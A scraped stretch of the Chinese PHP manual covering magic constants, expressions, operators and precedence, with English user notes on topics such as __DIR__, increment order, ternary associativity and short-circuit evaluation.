Note a small inconsistency when using __CLASS__ and __METHOD__ in traits (stand php 7.0.4): While __CLASS__ is working as advertized and returns dynamically the name of the class the trait is being used in, __METHOD__ will actually prepend the trait name instead of the class name!
php at kenman dot net 28-Mar-2014 06:45
Just learned an interesting tidbit regarding __FILE__ and the newer __DIR__ with respect to code run from a network share: the constants will return the *share* path when executed from the context of the share.

Examples:

// normal context
// called as "php -f c:\test.php"
 __DIR__ === 'c:\';
__FILE__ === 'c:\test.php';

// network share context
// called as "php -f \\computerName\c$\test.php"
 __DIR__ === '\\computerName\c$';
__FILE__ === '\\computerName\c$\test.php';

NOTE: realpath('.') always seems to return an actual filesystem path regardless of the execution context.
meindertjan at gmail dot spamspamspam dot com 16-Feb-2014 12:54
A lot of notes here concern defining the __DIR__ magic constant for PHP versions not supporting the feature. Of course you can define this magic constant for PHP versions not yet having this constant, but it will defeat its purpose as soon as you are using the constant in an included file, which may be in a different directory then the file defining the __DIR__ constant. As such, the constant has lost its *magic*, and would be rather useless unless you assure yourself to have all of your includes in the same directory.

Concluding: eye catchup at gmail dot com's note regarding whether you can or cannot define magic constants is valid, but stating that defining __DIR__ is not useless, is not!
david at thegallagher dot net 22-Feb-2012 01:19
You cannot check if a magic constant is defined. This means there is no point in checking if __DIR__ is defined then defining it. `defined('__DIR__')` always returns false. Defining __DIR__ will silently fail in PHP 5.3+. This could cause compatibility issues if your script includes other scripts.

Here is proof:

<?php
echo (defined('__DIR__') ? '__DIR__ is defined' : '__DIR__ is NOT defined' . PHP_EOL);
echo (defined('__FILE__') ? '__FILE__ is defined' : '__FILE__ is NOT defined' . PHP_EOL);
echo (defined('PHP_VERSION') ? 'PHP_VERSION is defined' : 'PHP_VERSION is NOT defined') . PHP_EOL;
echo 'PHP Version: ' . PHP_VERSION . PHP_EOL;
?>

Output:
__DIR__ is NOT defined
__FILE__ is NOT defined
PHP_VERSION is defined
PHP Version: 5.3.6
chris dot kistner at gmail dot com 20-Apr-2011 05:16
There is no way to implement a backwards compatible __DIR__ in versions prior to 5.3.0.

The only thing that you can do is to perform a recursive search and replace to dirname(__FILE__):
find . -type f -print0 | xargs -0 sed -i 's/__DIR__/dirname(__FILE__)/'
Tomek Perlak [tomekperlak at tlen pl] 10-Nov-2006 02:16
The __CLASS__ magic constant nicely complements the get_class() function.

Sometimes you need to know both:
- name of the inherited class
- name of the class actually executed

Here's an example that shows the possible solution:

<?php

class base_class
{
    function say_a()
    {
        echo "'a' - said the " . __CLASS__ . "<br/>";
    }

    function say_b()
    {
        echo "'b' - said the " . get_class($this) . "<br/>";
    }

}

class derived_class extends base_class
{
    function say_a()
    {
        parent::say_a();
        echo "'a' - said the " . __CLASS__ . "<br/>";
    }

    function say_b()
    {
        parent::say_b();
        echo "'b' - said the " . get_class($this) . "<br/>";
    }
}

$obj_b = new derived_class();

$obj_b->say_a();
echo "<br/>";
$obj_b->say_b();

?>

The output should look roughly like this:

'a' - said the base_class
'a' - said the derived_class

'b' - said the derived_class
'b' - said the derived_class
vijaykoul_007 at rediffmail dot com 21-Sep-2005 09:59
the difference between
__FUNCTION__ and __METHOD__ as in PHP 5.0.4 is that

__FUNCTION__ returns only the name of the function

while as __METHOD__ returns the name of the class alongwith the name of the function

class trick
{
      function doit()
      {
                echo __FUNCTION__;
      }
      function doitagain()
      {
                echo __METHOD__;
      }
}
$obj=new trick();
$obj->doit();
output will be ----  doit
$obj->doitagain();
output will be ----- trick::doitagain


魔术常量

有九个魔术常量它们的值随着它们在代码中的位置改变而改变。例如 __LINE__ 的值就依赖于它在脚本中所处的行来决定。这些特殊的常量不区分大小写，如下：

PHP 的魔术常量
名字 | 说明
__LINE__ | 文件中的当前行号。
__FILE__ | 文件的完整路径和文件名。如果用在被包含文件中，则返回被包含的文件名。
__DIR__ | 文件所在的目录。如果用在被包括文件中，则返回被包括的文件所在的目录。它等价于 dirname(__FILE__)。除非是根目录，否则目录中名不包括末尾的斜杠。
__FUNCTION__ | 当前函数的名称。匿名函数则为 {closure}。
__CLASS__ | 当前类的名称。类名包括其被声明的作用域（例如 Foo\Bar）。当用在 trait 方法中时，__CLASS__ 是调用 trait 方法的类的名字。
__TRAIT__ | Trait 的名字。Trait 名包括其被声明的作用域（例如 Foo\Bar）。
__METHOD__ | 类的方法名。
__NAMESPACE__ | 当前命名空间的名称。
ClassName::class | 完整的类名。

参见

  • ::class
  • get_class()
  • get_object_vars()
  • file_exists()
  • function_exists()

User Contributed Notes

Rich 03-Jul-2023 09:27
<?php

namespace My\App {
  class Api {
    public static fetch() {
      print __FUNCTION__ . "\n"; // outputs fetch
      print __METHOD__ . "\n"; // outputs My\App\Api::fetch
    }
  }

  Api::fetch();
}

namespace {
  My\App\Api::fetch();
}
?>

__METHOD__ outputs a fully qualified method name; __FUNCTION__ when used in a method, outputs just the method name.
chris at ocproducts dot com 11-May-2023 08:36
Note that __CLASS__ and __METHOD__ both reference the class the code is written in, not whatever the object class is. E.g. if you have an object of class B inheriting from class A, any usage of __CLASS__ in class A is going to give "A".
theking2 at king dot ma 11-Jul-2022 09:14
If PHP is run inside a web server request there is an important difference between the __DIR__ constant and $_SERVER['DOCUMENT_ROOT'].

Where __DIR__ of a PHP script contained within a sub-folder will include the complete server path $_SERVER['DOCUMENT_ROOT'] will contain a server path up to the _root_ of the application. This can be helpful when for instance an auto-loader is defined in an include file sitting inside a sub-folder and where the classes are located in another folder at the root of the application.
sham dot hrm at gmail dot com 14-Mar-2021 06:45
You can implement magic constants as given below example:

<?php
namespace UserModel {
    class User {
        public function __construct() {
            echo 'I am in '.__CLASS__.'</br>';
        }
        public function showData() {
            echo 'I am in '.__METHOD__.'</br>';
        }
    }

    $obj = new User;
    $obj->showData();
    echo __NAMESPACE__;
}
?>


表达式

表达式是 PHP 最重要的构建部分。在 PHP 中，几乎所写的任何东西都是表达式。简单但却最精确的定义表达式的方式就是"任何有值的东西"。

最基本的表达式形式是常量和变量。当键入 $a = 5，即值 5 将分配给变量 $a。很明显，5的值为 5，换句话说 5 是一个值为 5 的表达式（在这里，5 是一个整型常量）。

赋值之后，期待 $a 的值为 5，因而如果写下 $b = $a，则期望其行为就像 $b = 5 一样。换句话说，$a 也是值为 5 的表达式。如果一切正确，那这正是将要发生的事情。

稍微复杂的表达式例子就是函数。例如，考虑以下函数：

<?php
function foo ()
{
return 5;
}
?>

假如已经熟悉了函数的概念（如果没有，请查看函数的相关章节），那么本质上键入
$c = foo() 就如同写下
$c = 5，这是对的。函数是具有返回值的表达式。由于 foo()
返回 5，表达式"foo()"的值也是 5。通常函数不仅会返回静态值，还会计算一些东西。

当然，PHP 中的值并非都是整型的。PHP 支持四种标量值（标量值不能拆分为更小的单元，例如，和数组不同）类型：int 值、浮点数值（float）、string 值和 bool 值。PHP 也支持两种复合类型：数组和对象。这些值类型可以赋值给变量或者从函数返回。

PHP 和其它语言一样在表达式的道路上发展，但推进得更深远。PHP 是一种面向表达式的语言，从这一方面来讲几乎一切都是表达式。考虑刚才已经研究过的例子 $a = 5。很显然这里涉及到两个值，整数常量 5 的值以及变量 $a 的值，也被更新为 5。但事实是这里还涉及到一个额外的值，即附值语句本身的值。赋值语句本身求值为被赋的值，即 5。实际上这意味着 $a = 5，无论做什么，都是一个值为 5 的表达式。因此编写 $b = ($a = 5) 跟编写 $a = 5; $b = 5;（分号标志着语句的结束）是一样的。因为赋值操作的顺序是由右到左的，也可以写成 $b = $a = 5。

另外一个很好的面向表达式的例子就是前、后递增和递减。PHP 和多数其它语言的用户应该比较熟悉 variable++ 和 variable-- 符号。即递增和递减运算符。在 PHP 和 C 语言中，有两种类型的递增——前递增和后递增。本质上来讲，前递增和后递增均增加了变量的值，并且对于变量的影响是相同的。不同的是递增表达式的值。前递增，写做 ++$variable，求增加后的值（PHP 在读取变量的值之前，增加变量的值，因而称之为"前递增"）。后递增，写做 $variable++，求 $variable 未递增之前的原始值（PHP 在读取变量的值之后，增加变量的值，因而叫做"后递增"）。

一个常用到的表达式类型是比较表达式。这些表达式求值 false 或 true。PHP 支持 >（大于）、>=（大于等于）、==（等于）、!=（不等于）、<（小于）、<= (小于等于)。PHP 还支持全等运算符 ===（值和类型均相同）和非全等运算符 !==（值或者类型不同）。这些表达式都是在条件判断语句，比如 if。

这里，将要研究的最后一个例子是组合的运算赋值表达式。已经知道如果想要为变量 $a 加 1，可以简单的写 $a++ 或者 ++$a。但是如果想为变量增加大于 1 的值，比如 3，该怎么做？可以写 $a++ 多次，但这样明显不是一种高效舒适的方法，一个更加通用的做法是 $a = $a + 3。$a + 3 计算 $a 加上 3 的值，并将其赋予给 $a，于是 $a 的值增加了 3。在 PHP 及其它几种类似 C 的语言中，可以以一种更加简短的形式完成上述功能，随着时间的推移，会变得更加清晰、更容易理解。为 $a 的当前值加 3，可以这样写 $a += 3。这里的意思是"取变量 $a 的值，加 3，得到的结果再次分配给变量 $a"。除了更短和清楚外，也可以加快执行速度。$a += 3 的值，如同一个正常赋值操作的值，是赋值后的值。注意它不是 3，而是 $a 的值加上3 之后的值（此值将被赋给 $a）。任何二元运算符都可以用运算赋值模式，例如 $a -= 5（从变量 $a 的值中减去 5），$b *= 7（变量 $b 乘以 7），等等。

还有一个表达式，如果没有在别的语言中看到过的话，可能看上去很奇怪，即三元条件运算符：

<?php
$first ? $second : $third
?>

如果第一个子表达式的值是 true（非零），那么计算第二个子表达式的值，其值即为整个表达式的值。否则，将第三个子表达式的值作为整个表达式的值。

下面的例子有助于更好的理解前、后递增和表达式：

<?php
function double($i)
{
return $i*2;
}
$b = $a = 5; /* 赋值 5 到变量 $a 和 $b */
$c = $a++; /* 后自增，将 $a（5）的原始值赋给 $c */
$e = $d = ++$b; /* 前自增，将 $b（6）的递增值赋给 $d 和 $e */

/* 此时， $d 和 $e 都等于 6 */

$f = double($d++); /* 自增前将两倍值赋值给 $d ，即 2*6 = 12 赋值给 $f */
$g = double(++$e); /* 自增后将两倍值赋值给 $e ，即 2*7 = 14 赋值给 $g */
$h = $g += 10; /* 首先，$g 自增 10 后等于 24。然后将值（24）赋值给了 $h，
$h 的值也等于 24。 */
?>

一些表达式可以被当成语句。这时，一条语句的形式是 'expr ;'，即一个表达式加一个分号结尾。在 $b = $a = 5; 中，$a = 5 是一个有效的表达式，但它本身不是一条语句。$b = $a = 5; 是一条有效的语句。

最后一件值得提起的事情就是表达式的真假值。在许多事件中，主要是在条件执行和循环中，不要关心表达式中的具体值，反而要注意表达式的值是否是 true 或者 false。常量 true 和 false（大小写无关）是两种可能的 布尔值。必要时，表达式将自动转换为布尔值。参见类型强制转换获取详细信息。

PHP 提供了一套完整强大的表达式实现，并且完全纪录它超出了本手册的范围。上面的例子帮助了解了表达式的概念以及如何构建有用的表达式。在本手册的其余部分，将编写 expr 来指示任何有效的 PHP 表达式。

User Contributed Notes

Bichis Paul 12-Jan-2017 03:10
Regarding 12345alex at gmx dot net's example:

I think you miss the identical equal documentation line from: http://php.net/manual/en/language.operators.comparison.php

$a == $b     Equal     TRUE if $a is equal to $b after type juggling.
$a === $b     Identical     TRUE if $a is equal to $b, and they are of the same type.

Try:
print array() === NULL ? "True" : "False";

Check this:
var_dump(is_null(array()));
chriswarbo at gmail dot com 12-Jul-2013 11:06
Note that there is a difference between a function and a function call, and both
are expressions. PHP has two kinds of function, "named functions" and "anonymous
functions". Here's an example with both:

<?php
// A named function. Its name is "double".
function double($x) {
  return 2 * $x;
}

// An anonymous function. It has no name, in the same way that the string
// "hello" has no name. Since it is an expression, we can give it a temporary
// name by assigning it to the variable $triple.
$triple = function($x) {
  return 3 * $x;
};
?>

We can "call" (or "run") both kinds of function. A "function call" is an
expression with the value of whatever the function returns. For example:

<?php
// The easiest way to run a function is to put () after its name, containing its
// arguments (if any)
$my_numbers = array(double(5), $triple(5));
?>

$my_numbers is now an array containing 10 and 15, which are the return values of
double and $triple when applied to the number 5.

Importantly, if we *don't* call a function, ie. we don't put () after its name,
then we still get expressions. For example:

<?php
$my_functions = array('double', $triple);
?>

$my_functions is now an array containing these two functions. Notice that named
functions are more awkward than anonymous functions. PHP treats them differently
because it didn't use to have anonymous functions, and the way named functions
were implemented didn't work for anonymous functions when they were eventually
added.

This means that instead of using a named function literally, like we can with
anonymous functions, we have to use a string containing its name instead. PHP
makes sure that these strings will be treated as functions when it's
appropriate. For example:

<?php
$temp      = 'double';
$my_number = $temp(5);
?>

$my_number will be 10, since PHP has spotted that we're treating a string as if
it were a function, so it has looked up that named function for us.

Unfortunately PHP's parser is very quirky; rather than looking for generic
patterns like "x(y)" and seeing if "x" is a function, it has lots of
special-cases like "$x(y)". This makes code like "'double'(5)" invalid, so we
have to do tricks like using temporary variables. There is another way around
this restriction though, and that is to pass our functions to the
"call_user_func" or "call_user_func_array" functions when we want to call them.
For example:

<?php
$my_numbers = array(call_user_func('double', 5), call_user_func($triple, 5));
?>

$my_numbers contains 10 and 15 because "call_user_func" called our functions for
us. This is possible because the string 'double' and the anonymous function
$triple are expressions. Note that we can even use this technique to call an
anonymous function without ever giving it a name:

<?php
$my_number = call_user_func(function($x) { return 4 * $x; }, 5);
?>

$my_number is now 20, since "call_user_func" called the anonymous function,
which quadruples its argument, with the value 5.

Passing functions around as expressions like this is very useful whenever we
need to use a 'callback'. Great examples of this are array_map and array_reduce.
antickon at gmail dot com 26-Feb-2012 07:29
evaluation order of subexpressions is not strictly defined for all operators

<?php
function a() {echo 'a';}
function b() {echo 'b';}
a() == b(); // outputs "ab", ie evaluates left-to-right

$a = 3;
var_dump( $a == $a = 4 ); // outputs bool(true), ie evaluates right-to-left
?>

this is not a bug: "we [php developers] make no guarantee about the order of evaluation".
See https://bugs.php.net/bug.php?id=61188
Magnus Deininger, dma05 at web dot de 16-Apr-2009 08:04
Note that even though PHP borrows large portions of its syntax from C, the ',' is treated quite differently. It's not possible to create combined expressions in PHP using the comma-operator that C has, except in for() loops.

Example (parse error):

<?php

$a = 2, $b = 4;

echo $a."\n";
echo $b."\n";

?>

Example (works):
<?php

for ($a = 2, $b = 4; $a < 3; $a++)
{
  echo $a."\n";
  echo $b."\n";
}

?>

This is because PHP doesn't actually have a proper comma-operator, it's only supported as syntactic sugar in for() loop headers. In C, it would have been perfectly legitimate to have this:

int f()
{
  int a, b;
  a = 2, b = 4;

  return a;
}

or even this:

int g()
{
  int a, b;
  a = (2, b = 4);

  return a;
}

In f(), a would have been set to 2, and b would have been set to 4.
In g(), (2, b = 4) would be a single expression which evaluates to 4, so both a and b would have been set to 4.
denzoo at gmail dot com 16-Mar-2008 04:52
To jvm at jvmyers dot com:
Your first two if statements just check if there's anything in the string, if you wish to actually execute the code in your string you need eval().
jvm at jvmyers dot com 24-Feb-2008 12:20
<?php
// Compound booleans expressed as string args in an 'if' statement don't work as expected:
//
//    Context:
//        1.  I generate an array of counters
//        2.  I dynamically generate a compound boolean based on selected counters in the array
//                Note: since the real array is sparse, I must use the 'empty' operator
//        3.  When I submit the compound boolean as the expression of an 'if' statement,
//            the 'if' appears to resolve ONLY the first element of the compound boolean.
//    Conclusion: appears to be a short-circuiting issue

$aArray = array(1,0);

// Case 1: 'if' expression passed as string:

$sCondition = "!empty($aArray[0]) && !empty($aArray[1])";
if ($sCondition)
{
    echo "1. Conditions met<br />";
}
else
{
    echo "1. Conditions not met<br />";
}

// Case 1 output:  "1. Conditions met"

// Case 2: same as Case 1, but using catenation operator

if ("".$sCondition."")
{
    echo "2. Conditions met<br />";
}
else
{
    echo "2. Conditions not met<br />";
}

// Case 2 output:  "2. Conditions met"

// Case 3: same 'if' expression but passed in context:

if (!empty($aArray[0]) && !empty($aArray[1]))
{
    echo "3. Conditions met<br />";
}
else
{
    echo "3. Conditions not met<br />";
}

// Case 3 output:  "3. Conditions not met"

// jvm@jvmyers.com
?>

PS: the bug folks say this "does not imply a bug in PHP itself."  Sure bugs me!
petruzanauticoyahoo?com!ar 20-Oct-2007 08:41
Regarding the ternary operator, I would rather say that the best option is to enclose all the expression in parantheses, to avoid errors and improve clarity:

<?php
   print ( $a > 1 ? "many" : "just one" );
?>

PS: for php, C++, and any other language that has it.
winks716 23-Aug-2007 01:42
reply to egonfreeman at gmail dot com
04-Apr-2007 07:45

the second example u mentioned as follow:
=====================================

$n = 3;
$n * $n++

from 3 * 3 into 3 * 4. Post- operations operate on a variable after it has been 'checked', but it doesn't necessarily state that it should happen AFTER an evaluation is over (on the contrary, as a matter of fact).

===========================================

everything works correctly but one sentence should be modified:

"from 3 * 3 into 3 * 4"  should be "from 3 * 3 into 4 * 3"

best regards~ :)
george dot langley at shaw dot ca 20-Jul-2007 11:01
Here's a quick example of Pre and Post-incrementation, in case anyone does feel confused (ref anonymous poster 31 May 2005)

<?PHP
echo "Using Pre-increment ++\$a:<br>";
$a = 1;
echo "\$a = $a<br>";
$b = ++$a;
echo "\$b = ++\$a, so \$b = $b and \$a = $a<br>";
echo "<br>";
echo "Using Post-increment \$a++:<br>";
$a = 1;
echo "\$a = $a<br>";
$b = $a++;
echo "\$b = \$a++, so \$b = $b and \$a = $a<br>";
?>

HTH
egonfreeman at gmail dot com 04-Apr-2007 07:45
It is worthy to mention that:

$n = 3;
$n * --$n

WILL RETURN 4 instead of 6.

It can be a hard to spot "error", because in our human thought process this really isn't an error at all! But you have to remember that PHP (as it is with many other high-level languages) evaluates its statements RIGHT-TO-LEFT, and therefore "--$n" comes BEFORE multiplying, so - in the end - it's really "2 * 2", not "3 * 2".

It is also worthy to mention that the same behavior will change:

$n = 3;
$n * $n++

from 3 * 3 into 3 * 4. Post- operations operate on a variable after it has been 'checked', but it doesn't necessarily state that it should happen AFTER an evaluation is over (on the contrary, as a matter of fact).

So, if you ever find yourself on a 'wild goose chase' for a bug in that "impossible-to-break, so-very-simple" piece of code that uses pre-/post-'s, remember this post. :)

(just thought I'd check it out - turns out I was right :P)
shawnster 14-Feb-2007 04:56
An easy fix (although intuitively tough to do...) is to reverse the comparison.

if (5 == $a) {}

If you forget the second '=', you'll get a parse error for trying to assign a value to a non-variable.
nabil_kadimi at hotmail dot com 29-Jan-2007 07:46
Attention! php will not warn you if you write (1) When you mean (2)

(1)
<?
if($a=0)
    echo "condition is true";
else
    echo "condition is false";
//output: condition is false
?>

(2)
<?
if($a==0)
    echo "condition is true";
else
    echo "condition is false";
//output: condition is true
?>
richard at phase4 dot ie 19-Jan-2006 12:00
Follow up on Martin K. There are no hard and fast rules regarding operator precedence. Newbies should definitely learn them, but if their use results in code that is not easy to read you should use parentheses. The two important things are that it works properly AND is maintainable by you and others.
Martin K 20-Oct-2005 06:28
At 04-Feb-2005 05:13, tom at darlingpet dot com said:
> It's also a good idea to use parenthesis when using something SIMILAR to:
>
> <?php
> echo (trim($var)=="") ? "empty" : "not empty";
> ?>

No, it's a BAD idea.

All the short-circuiting operators, including the ternary conditional operator, have LOWER precedence than the comparison operators, so they almost NEVER need parentheses around their subexpressions.

Inserting the parentheses suggested above does not change the meaning of the code, but their use misleads inexperienced programmers to expect that things like this will work in a similar manner:

<?php
function my_print($a) { print($a); }
my_print (trim($var)=="") ? "empty" : "not empty";
?>

when of course it doesn't.

Rather than worrying that code doesn't work as expected, simply learn the precedence rules (http://www.php.net/manual/en/language.operators.php) so that one expects the right things.
12345alex at gmx dot net 14-Aug-2005 07:00
this code:
    print array() == NULL ? "True" : "False";
    print " (" . (array() == NULL) . ")\n";

    $arr = array();
    print array() == $arr ? "True" : "False";
    print " (" . (array() == $arr) . ")\n";

    print count(array()) . "\n";
    print count(NULL) . "\n";

will output (on php4 and php5):
    True (1)
    True (1)
    0
    0

so to decide wether i have NULL or an empty array i will also have to use gettype(). this seems some kind of weird for me, although if is this is a bug, somebody should have noticed it before.

alex
31-May-2005 12:07
I don't see why it is necessary here to explain pre- and post- incrementing.

This is something that will confuse new users of PHP, even longer time programmers will sometimes miss a the fine details of a construct like that.

If something has a side-effect it should be on a line of it's own, or at least be an expression of it's own and not part of an assignment, condition or whatever.
tom at darlingpet dot com 04-Feb-2005 02:13
Something I've noticed with ternary expressions is if you do something like :

<?= $var=="something" ? "is something" : "not something"; ?>

It will give wacky results sometimes...

So be sure to enclose the ternary expression in parenthesis when ever necessary (such as having multiple expressions or nested ternary expressions)

The above could look like:

<?= ($var=="something") ? "is something" : "not something"; ?>

It's also a good idea to use parenthesis when using something SIMILAR to:

<?php
echo (trim($var)=="") ? "empty" : "not empty";
?>

In some cases other than the <?= ?> example, not placing the entire expression in appropriate parenthesis might yield undesirable results as well.. but I'm not quite sure.
oliver at hankeln-online dot de 07-Aug-2002 06:06
The short-circuiting IS a feature. It is also available in C, so I suppose the developers won?t remove it in future PHP versions.

It is rather nice to write:

$file=fopen("foo","r") or die("Error!");

Greets,
Oliver
Mattias at mail dot ee 25-May-2002 03:29
A note about the short-circuit behaviour of the boolean operators.

1. if (func1() || func2())
Now, if func1() returns true, func2() isn't run, since the expression
will be true anyway.

2. if (func1() && func2())
Now, if func1() returns false, func2() isn't run, since the expression
will be false anyway.

The reason for this behaviour comes probably from the programming
language C, on which PHP seems to be based on. There the
short-circuiting can be a very useful tool. For example:

int * myarray = a_func_to_set_myarray(); // init the array
if (myarray != NULL && myarray[0] != 4321) // check
    myarray[0] = 1234;

Now, the pointer myarray is checked for being not null, then the
contents of the array is validated. This is important, because if
you try to access an array whose address is invalid, the program
will crash and die a horrible death. But thanks to the short
circuiting, if myarray == NULL then myarray[0] won't be accessed,
and the program will work fine.
yasuo_ohgaki at hotmail dot com 11-Mar-2001 11:14
Manual defines "expression is anything that has value", Therefore, parser will give error for following code.

<?php
($val) ? echo('true') : echo('false');
Note: "? : " operator has this syntax  "expr ? expr : expr;"
?>

since echo does not have(return) value and ?: expects expression(value).

However, if function/language constructs that have/return value, such as include(), parser compiles code.

Note: User defined functions always have/return value without explicit return statement (returns NULL if there is no return statement). Therefore, user defined functions are always valid expressions.
[It may be useful to have VOID as new type to prevent programmer to use function as RVALUE by mistake]

For example,

<?php
($val) ? include('true.inc') : include('false.inc');
?>

is valid, since "include" returns value.

The fact "echo" does not return value(="echo" is not a expression), is less obvious to me.

Print() and Echo() is NOT identical since print() has/returns value and can be a valid expression.
anthony at n dot o dot s dot p dot a dot m dot trams dot com 24-Nov-2000 11:01
The ternary conditional operator is a useful way of avoiding inconvenient if statements.  They can even be used in the middle of a string concatenation, if you use parentheses.

Example:

if ( $wakka ) {
  $string = 'foo' ;
} else {
  $string = 'bar' ;
}

The above can be expressed like the following:

$string = $wakka ? 'foo' : 'bar' ;

If $wakka is true, $string is assigned 'foo', and if it's false, $string is assigned 'bar'.

To do the same in a concatenation, try:

$string = $otherString . ( $wakka ? 'foo' : 'bar' ) ;


运算符

Table of Contents

  • 运算符优先级
  • 算术运算符
  • 递增／递减运算符
  • 赋值运算符
  • 位运算符
  • 比较运算符
  • 错误控制运算符
  • 执行运算符
  • 逻辑运算符
  • 字符串运算符
  • 数组运算符
  • 类型运算符

运算符是可以通过给出的一或多个值（用编程行话来说，表达式）来产生另一个值（因而整个结构成为一个表达式）的东西。

运算符可按照其能接受几个值来分组。一元运算符只能接受一个值，例如 !（逻辑取反运算符）或 ++（递增运算符）。 二元运算符可接受两个值，例如熟悉的算术运算符 +（加）和 -（减），大多数 PHP 运算符都是这种。最后是唯一的三元运算符 ? :，可接受三个值；通常就简单称之为"三元运算符"（尽管称之为条件运算符可能更合适）。

PHP 的运算符完整列表见下节运算符优先级。该节也解释了运算符优先级和结合方向，这控制着在表达式包含有若干个不同运算符时究竟怎样对其求值。

User Contributed Notes

anisgazig at gmail dot com 07-Feb-2021 03:15
A variable is a container that contain different types of data and the operator operates a variable correctly.
anisgazig at gmail dot com 16-Sep-2020 05:49
Operator are used to perform operation.

Operator are mainly divided by three groups.
1.Uniary Operators that takes one values
2.Binary Operators that takes two values
3.ternary operators that takes three values

Operator are mainly divided by three groups that are totally seventeen types.
1.Arithmetic Operator
+ = Addition
- = Subtraction
* = Multiplication
/ = Division
% = Modulo
** = Exponentiation

2.Assignment Operator
     = "equal to

3.Array Operator
    + = Union
    == = Equality
    === = Identity
    != = Inequality
    <> = Inequality
    !== =    Non-identity

4.Bitwise Operator
& = and
^ = xor
| = not
<< = shift left
>> = shift right

5.Comparison Operator
==  = equal
=== = identical
!=  = not equal
!== = not identical
<>  = not equal
< = less than
<= less than or equal
> = greater than
>= = greater than or equal
<=> = spaceship operator

6.Execution Operator
 `` = backticks

7.Error Control Operator
    @ = at sign

8.Incrementing/Decrementing Operator
    ++$a = PreIncrement
    $a++ = PostIncrement
    --$a = PreDecrement
    $a-- = Postdecrement

9.Logical Operator
    && = And
    || = Or
    ! = Not
    and = And
    xor = Xor
    or = Or

10.string Operator
    . =  concatenation operator
    .= concatenating assignment operator

11.Type Operator
    instanceof = instanceof

12.Ternary or Conditional operator
   ?: = Ternary operator

13.Null Coalescing Operator
    ??" = null coalescing

14.Clone new Operator
    clone new = clone new

15.yield from Operator

    yield from = yield from

16.yield Operator
    yield = yield

17.print Operator
    print = print
ivijan dot stefan at gmail dot com 13-Jul-2019 08:55
If you use "AND" and "OR", you'll eventually get tripped up by something like this:

<?php
$this_one = true;
$that = false;
$truthiness = $this_one and $that;
?>

Want to guess what $truthiness equals?

If you said "false"  ...it's wrong!

"$truthiness" above has the value "true". Why?  "=" has a higher precedence than "and". The addition of parentheses to show the implicit order makes this clearer:

<?php
($truthiness = $this_one) and $that;
?>

If you used "&&" instead of and in the first code example, it would work as expected and be "false".

This also works to get the correct value, as parentheses have higher precedence than "=":

<?php
$truthiness = ($this_one and $that);
?>
figroc at gmail dot com 02-Aug-2008 03:30
The variable symbol '$' should be considered as the highest-precedence operator, so that the variable variables such as $$a[0] won't confuse the parser.  [http://www.php.net/manual/en/language.variables.variable.php]
phpnet dot 20 dot dpnsubs at xoxy dot net 01-Nov-2007 02:13
Note that in php the ternary operator ?: has a left associativity unlike in C and C++ where it has right associativity.

You cannot write code like this (as you may have accustomed to in C/C++):

<?php
$a = 2;
echo (
    $a == 1 ? 'one' :
    $a == 2 ? 'two' :
    $a == 3 ? 'three' :
    $a == 4 ? 'four' : 'other');
echo "\n";
// prints 'four'
?>

You need to add brackets to get the results you want:

<?php
$a = 2;

echo ($a == 1 ? 'one' :
        ($a == 2 ? 'two' :
        ($a == 3 ? 'three' :
        ($a == 4 ? 'four' : 'other') ) ) );
echo "\n";
//prints 'two'
?>
me at robrosenbaum dot com 12-Jul-2007 12:16
The scope resolution operator ::, which is missing from the list above, has higher precedence than [], and lower precedence than 'new'. This means that self::$array[$var] works as expected.
rick at nomorespam dot fourfront dot ltd dot uk 02-Sep-2005 03:51
A quick note to any C developers out there, assignment expressions are not interpreted as you may expect - take the following code ;-

<?php
$a=array(1,2,3);
$b=array(4,5,6);
$c=1;

$a[$c++]=$b[$c++];

print_r( $a ) ;
?>

This will output;-
Array ( [0] => 1 [1] => 6 [2] => 3 )
as if the code said;-
$a[1]=$b[2];

Under a C compiler the result is;-
Array ( [0] => 1 [1] => 5 [2] => 3 )
as if the code said;-
$a[1]=$b[1];

It would appear that in php the increment in the left side of the assignment is processed prior to processing the right side of the assignment, whereas in C, neither increment occurs until after the assignment.
09-Jun-2004 05:58
of course this should be clear, but i think it has to be mentioned espacially:

AND is not the same like &&

for example:

<?php $a && $b || $c; ?>
is not the same like
<?php $a AND $b || $c; ?>

the first thing is
(a and b) or c

the second
a and (b or c)

'cause || has got a higher priority than and, but less than &&

of course, using always [ && and || ] or [ AND and OR ] would be okay, but than you should at least respect the following:

<?php $a = $b && $c; ?>
<?php $a = $b AND $c; ?>

the first code will set $a to the result of the comparison $b with $c, both have to be true, while the second code line will set $a like $b and THAN - after that - compare the success of this with the value of $c

maybe usefull for some tricky coding and helpfull to prevent bugs :D

greetz, Warhog
yasuo_ohgaki at hotmail dot com 25-Mar-2001 11:53
Other Language books' operator precedence section usually include "(" and ")" - with exception of a Perl book that I have. (In PHP "{" and "}" should also be considered also). However, PHP Manual is not listed "(" and ")" in precedence list. It looks like "(" and ")" has higher precedence as it should be.

Note: If you write following code, you would need "()" to get expected value.

<?php
$bar = true;
$str = "TEST". ($bar ? 'true' : 'false') ."TEST";
?>

Without "(" and ")" you will get only "true" in $str.
(PHP4.0.4pl1/Apache DSO/Linux, PHP4.0.5RC1/Apache DSO/W2K Server)
It's due to precedence, probably.


运算符优先级

运算符优先级指定了两个表达式绑定得有多"紧密"。例如，表达式 1 + 5 * 3 的结果是 16 而不是 18 是因为乘号（"*"）的优先级比加号（"+"）高。必要时可以用括号来强制改变优先级。例如：(1 + 5) * 3 的值为 18。

如果运算符优先级相同，那运算符的结合方向决定了该如何运算。例如，"-"是左联的，那么 1 - 2 - 3 就等同于 (1 - 2) - 3 并且结果是 -4. 另外一方面，"="是右联的，所以 $a = $b = $c 等同于 $a = ($b = $c)。

没有结合的相同优先级的运算符不能连在一起使用，例如 1 < 2 > 1 在PHP是不合法的。但另外一方面表达式 1 <= 1 == 1 是合法的, 因为 == 的优先级低于 <=。

关联性仅对二（三）元操作符有意义。 一元操作符是前缀或者后缀，所以不适用该概念。 例如 !!$a 仅可分为 !(!$a)。

括号的使用，哪怕在不是必要的场合下，通过括号的配对来明确标明运算顺序，而非靠运算符优先级和结合性来决定，通常能够增加代码的可读性。

下表按照优先级从高到低列出了运算符。同一行中的运算符具有相同优先级，此时它们的结合方向决定求值顺序。

运算符优先级
结合方向 | 运算符 | 附加信息
不适用 | clone new | clone 和 new
右 | ** | 算术运算符
不适用 | + - ++ -- ~ (int) (float) (string) (array) (object) (bool) @ | 算术 (一元 + 和 -)， 递增/递减， 按位， 类型转换 和 错误控制
左 | instanceof | 类型
不适用 | ! | 逻辑运算符
左 | * / % | 算术运算符
左 | + - . | 算数 (二元 + 和 -)， array 和 string （. PHP 8.0.0 前可用）
